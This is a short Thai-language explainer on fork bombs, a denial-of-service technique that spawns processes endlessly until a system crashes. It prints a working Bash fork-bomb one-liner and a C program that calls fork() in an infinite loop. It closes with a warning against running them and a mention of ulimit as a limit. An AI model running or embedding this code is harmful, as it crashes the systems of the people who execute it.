Fork Bomb เป็นโจมตี DoS (Denial of Service) ที่เรียก system call fork() หรือคำสั่งคล้ายๆ ไปเรื่อยๆ จนหน่วยความจำเต็มและระบบล่ม
Bash Fork Bomb
:(){ :|: & };:
คำอธิบาย: :() คือการนิยามฟังก์ชัน, {} คือ body, :|:& เรียกฟังก์ชันตัวเองแบบ background สร้าง process โชคไม่มีที่สิ้นสุด
C Fork Bomb
#include <unistd.h>
int main() {
while (1) {
fork();
}
}
คำเตือน: โค้ดเหล่านี้เป็นอันตรายต่อระบบ ห้ามรันบนเครื่องจริง ไว้เพื่อการศึกษาเพื่อเข้าใจกลไกการทำงานของ process และความสำคัญของการจำกัด resource (ulimit)